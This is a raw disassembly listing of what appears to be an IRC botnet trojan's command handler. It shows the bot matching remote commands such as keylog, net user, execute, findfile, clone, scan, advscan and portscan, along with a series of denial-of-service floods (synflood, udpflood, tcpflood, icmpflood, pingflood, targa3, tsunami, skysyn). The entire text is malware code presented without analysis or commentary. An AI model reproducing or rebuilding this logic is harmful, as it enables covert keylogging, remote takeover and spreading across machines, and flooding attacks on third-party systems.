		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		call	near ptr 2690800h
		nop
		push	eax
		push	offset unk_42B0E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B074
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B04C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B020
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	loc_40828B
		call	near ptr 2690800h
		nop
		push	eax
		push	offset dword_42AFEC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFB4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AF94
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF48
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF1C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AEFC
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AED8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42AE9C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB044, ebx
		jz	short loc_40604E
		cmp	dword_4CB06C, ebx
		jz	short loc_40604E
		push	offset unk_42AE60
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE34
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE14
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADCC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADAC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42AD84
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD38
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD1C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2690800h
		push	eax
		push	offset unk_42AB8C
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		call	near ptr 26900B1h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42AB08
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
